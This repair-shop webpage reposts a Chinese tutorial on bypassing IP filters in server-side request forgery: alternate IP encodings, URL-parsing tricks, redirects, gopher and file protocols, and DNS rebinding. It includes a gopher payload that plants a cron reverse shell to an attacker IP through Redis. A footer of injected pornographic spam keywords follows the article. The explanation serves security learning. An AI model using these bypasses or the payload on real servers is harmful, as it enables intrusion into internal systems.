錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
SSRF漏洞中繞過IP限制的幾種方法總結(jié)

作者: 佚名  日期:2017-05-29 06:29:29   來源: 本站整理

 一、SSRF簡介
SSRF(Server-Side Request Forgery,服務(wù)器端請求偽造):通俗的來說就是我們可以偽造服務(wù)器端發(fā)起的請求,從而獲取客戶端所不能得到的數(shù)據(jù)。SSRF漏洞形成的原因主要是服務(wù)器端所提供的接口中包含了所要請求的內(nèi)容的URL參數(shù),并且未對客戶端所傳輸過來的URL參數(shù)進行過濾。這個漏洞造成的危害有:
(1)、可以對外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進行端口掃描,獲取一些服務(wù)的banner信息;
(2)、攻擊運行在內(nèi)網(wǎng)或本地的應(yīng)用程序(比如溢出);
(3)、對內(nèi)網(wǎng)Web應(yīng)用進行指紋識別,通過訪問默認文件實現(xiàn);
(4)、攻擊內(nèi)外網(wǎng)的Web應(yīng)用,主要是使用Get參數(shù)就可以實現(xiàn)的攻擊(比如Struts2漏洞利用,SQL注入等);
(5)、利用File協(xié)議讀取本地文件。
一般的防御措施是對URL參數(shù)進行過濾,或者使得URL參數(shù)用戶不可控。
二、繞過SSRF過濾的幾種方法
下文出現(xiàn)的192.168.0.1,10.0.0.1全部為服務(wù)器端的內(nèi)網(wǎng)地址。
1、更改IP地址寫法
一些開發(fā)者會通過對傳過來的URL參數(shù)進行正則匹配的方式來過濾掉內(nèi)網(wǎng)IP,如采用如下正則表達式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
對于這種過濾我們可以采用改編IP的寫法的方式進行繞過,例如192.168.0.1這個IP地址我們可以改寫成:
(1)、8進制格式:0300.0250.0.1
(2)、16進制格式:0xC0.0xA8.0.1
(3)、10進制整數(shù)格式:3232235521
(4)、16進制整數(shù)格式:0xC0A80001
還有一種特殊的省略模式,例如10.0.0.1這個IP可以寫成10.1
2、利用解析URL所出現(xiàn)的問題
在某些情況下,后端程序可能會對訪問的URL進行解析,對解析出來的host地址進行過濾。這時候可能會出現(xiàn)對URL參數(shù)解析不當(dāng),導(dǎo)致可以繞過過濾。
http://www.baidu.com@192.168.0.1/
當(dāng)后端程序通過不正確的正則表達式(比如將http之后到com為止的字符內(nèi)容,也就是www.baidu.com,認為是訪問請求的host地址時)對上述URL的內(nèi)容進行解析的時候,很有可能會認為訪問URL的host為www.baidu.com,而實際上這個URL所請求的內(nèi)容都是192.168.0.1上的內(nèi)容。
3、利用302跳轉(zhuǎn)
如果后端服務(wù)器在接收到參數(shù)后,正確的解析了URL的host,并且進行了過濾,我們這個時候可以使用302跳轉(zhuǎn)的方式來進行繞過。
(1)、在網(wǎng)絡(luò)上存在一個很神奇的服務(wù),http://xip.io 當(dāng)我們訪問這個網(wǎng)站的子域名的時候,例如192.168.0.1.xip.io,就會自動重定向到192.168.0.1。
(2)、由于上述方法中包含了192.168.0.1這種內(nèi)網(wǎng)IP地址,可能會被正則表達式過濾掉,我們可以通過短地址的方式來繞過。經(jīng)過測試發(fā)現(xiàn)新浪,百度的短地址服務(wù)并不支持IP模式,所以這里使用的是http://tinyurl.com所提供的短地址服務(wù),如下圖所示:

同樣的,我們也可以自行寫一個跳轉(zhuǎn)的服務(wù)接口來實現(xiàn)類似的功能。
4、通過各種非HTTP協(xié)議:
如果服務(wù)器端程序?qū)υL問URL所采用的協(xié)議進行驗證的話,可以通過非HTTP協(xié)議來進行利用。
(1)、GOPHER協(xié)議:通過GOPHER我們在一個URL參數(shù)中構(gòu)造Post或者Get請求,從而達到攻擊內(nèi)網(wǎng)應(yīng)用的目的。例如我們可以使用GOPHER協(xié)議對與內(nèi)網(wǎng)的Redis服務(wù)進行攻擊,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1

%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d

%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%

0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4

%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
(2)、File協(xié)議:File協(xié)議主要用于訪問本地計算機中的文件,我們可以通過類似file:///文件路徑這種格式來訪問計算機本地文件。使用file協(xié)議可以避免服務(wù)端程序?qū)τ谒L問的IP進行的過濾。例如我們可以通過file:///d:/1.txt 來訪問D盤中1.txt的內(nèi)容
5、DNS Rebinding
對于常見的IP限制,后端服務(wù)器可能通過下圖的流程進行IP過濾:

對于用戶請求的URL參數(shù),首先服務(wù)器端會對其進行DNS解析,然后對于DNS服務(wù)器返回的IP地址進行判斷,如果在黑名單中,就pass掉。
但是在整個過程中,第一次去請求DNS服務(wù)進行域名解析到第二次服務(wù)端去請求URL之間存在一個時間查,利用這個時間差,我們可以進行DNS 重綁定攻擊。
要完成DNS重綁定攻擊,我們需要一個域名,并且將這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務(wù),設(shè)置TTL時間為0。這樣就可以進行攻擊了,完整的攻擊流程為:
(1)、服務(wù)器端獲得URL參數(shù),進行第一次DNS解析,獲得了一個非內(nèi)網(wǎng)的IP
(2)、對于獲得的IP進行判斷,發(fā)現(xiàn)為非黑名單IP,則通過驗證
(3)、服務(wù)器端對于URL進行訪問,由于DNS服務(wù)器設(shè)置的TTL為0,所以再次進行DNS解析,這一次DNS服務(wù)器返回的是內(nèi)網(wǎng)地址。
(4)、由于已經(jīng)繞過驗證,所以服務(wù)器端返回訪問內(nèi)網(wǎng)資源的結(jié)果。
三、總結(jié)
         總的來說,造成能夠繞過服務(wù)器端檢查的原因是在服務(wù)器對資源進行請求的時候?qū)RL的驗證出現(xiàn)了紕漏,除了上述已知的方法外可能還有不同的方法,但是萬變不離其宗。同時,在程序員進行開發(fā)的同時,盡量使用白名單的方式來進行過濾,能夠較大程度上的保證安全性。



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 久久久久久国产精品无码超碰| 亚洲AV无码专区国产乱码4SE| 亚洲AV永久无码精品成人| 亚洲日韩精品无码一区二区三区| 无码中文字幕人妻在线一区二区三区 | 精品韩国亚洲av无码不卡区| 无码精油按摩潮喷在播放| 精品人妻无码区二区三区| 午夜不卡无码中文字幕影院| 18禁免费无码无遮挡不卡网站| 亚洲乱亚洲乱妇无码| 特黄熟妇丰满人妻无码| 无码日韩人妻精品久久| 亚洲国产成人片在线观看无码| 99无码人妻一区二区三区免费| 久久青青草原亚洲av无码| 无码区国产区在线播放| 亚洲精品无码AV人在线播放| 精品久久久无码中文字幕边打电话| 无码欧精品亚洲日韩一区夜夜嗨 | 精品深夜AV无码一区二区老年| 在线观看成人无码中文av天堂| 中文无码精品一区二区三区| 青青草无码免费一二三区| 中文字幕无码免费久久9一区9| 国产午夜鲁丝片AV无码| 亚洲av无码电影网| 无码精品国产dvd在线观看9久| 国产午夜精品无码| 无码av免费一区二区三区| 少妇伦子伦精品无码STYLES| 国产∨亚洲V天堂无码久久久| 八戒理论片午影院无码爱恋| 日韩AV无码一区二区三区不卡毛片| 亚洲av成人无码网站…| 国产一区二区三区无码免费| HEYZO无码综合国产精品| 亚洲国产精品无码久久一区二区| 亚洲AV永久无码精品一百度影院| 91久久九九无码成人网站| 久久亚洲AV成人无码国产最大|